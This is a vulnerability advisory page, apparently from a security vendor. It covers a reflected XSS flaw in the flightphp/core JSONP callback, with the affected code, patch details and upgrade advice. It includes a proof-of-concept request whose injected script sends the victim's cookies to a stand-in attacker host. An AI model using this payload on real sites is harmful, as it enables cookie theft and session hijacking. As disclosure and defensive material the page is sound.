GHSA-fcx8-ph5r-mxr4
GHSA-fcx8-ph5r-mxr4 is a Cross-site Scripting (XSS) vulnerability in flightphp/core. O3 Security confirms whether GHSA-fcx8-ph5r-mxr4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Flight has reflected XSS through an unvalidated JSONP callback in Flight::jsonp()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-fcx8-ph5r-mxr4.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
flightphp/coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Flight::jsonp() concatenates the ?jsonp= query parameter directly into an application/javascript response body without validating that the value is a legal JavaScript identifier. An attacker can inject arbitrary JavaScript that executes in the response origin, enabling reflected cross-site scripting.
Affected code
flight/Engine.php (≈ lines 1000-1013):
$callback = $this->request()->query[$param];
$this->response()
->status($code)
->header('Content-Type', 'application/javascript; charset=' . $charset)
->write($callback . '(' . $json . ');');
No regex or identifier validation is performed before the callback is written.
Proof of concept
Given any route that calls Flight::jsonp($data):
GET /api?jsonp=;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//
Reproduced response (Content-Type: application/javascript):
;window.xss=function(d){fetch('https://attacker.tld/c='+d)};xss(document.cookie);//({"ok":true,"msg":"hello"});
When the vulnerable endpoint is loaded via <script src="https://victim.tld/api?jsonp=…"> on a page controlled by the attacker, the injected JavaScript executes in the victim.tld origin whenever that page is embedded or visited in a same-origin context — cookie theft and session hijack follow.
Impact
- Reflected XSS in any application calling
Flight::jsonp(). - Cookie theft / session hijack when JSONP endpoints are referenced from same-origin pages.
- Exfiltration of authenticated API responses.
Patch (fixed in 3.18.1, commit b8dd23a)
_jsonp() now validates the callback name against ^[A-Za-z_$][\w$.]{0,127}$ before emitting it. An empty callback (no jsonp parameter) still behaves as before.
Credit
Discovered by @Rootingg.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | flightphp/core | all versions | 3.18.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flightphp/core. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update flightphp/core to 3.18.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-fcx8-ph5r-mxr4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-fcx8-ph5r-mxr4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-fcx8-ph5r-mxr4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-fcx8-ph5r-mxr4 in your dependencies?
O3 detects GHSA-fcx8-ph5r-mxr4 across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.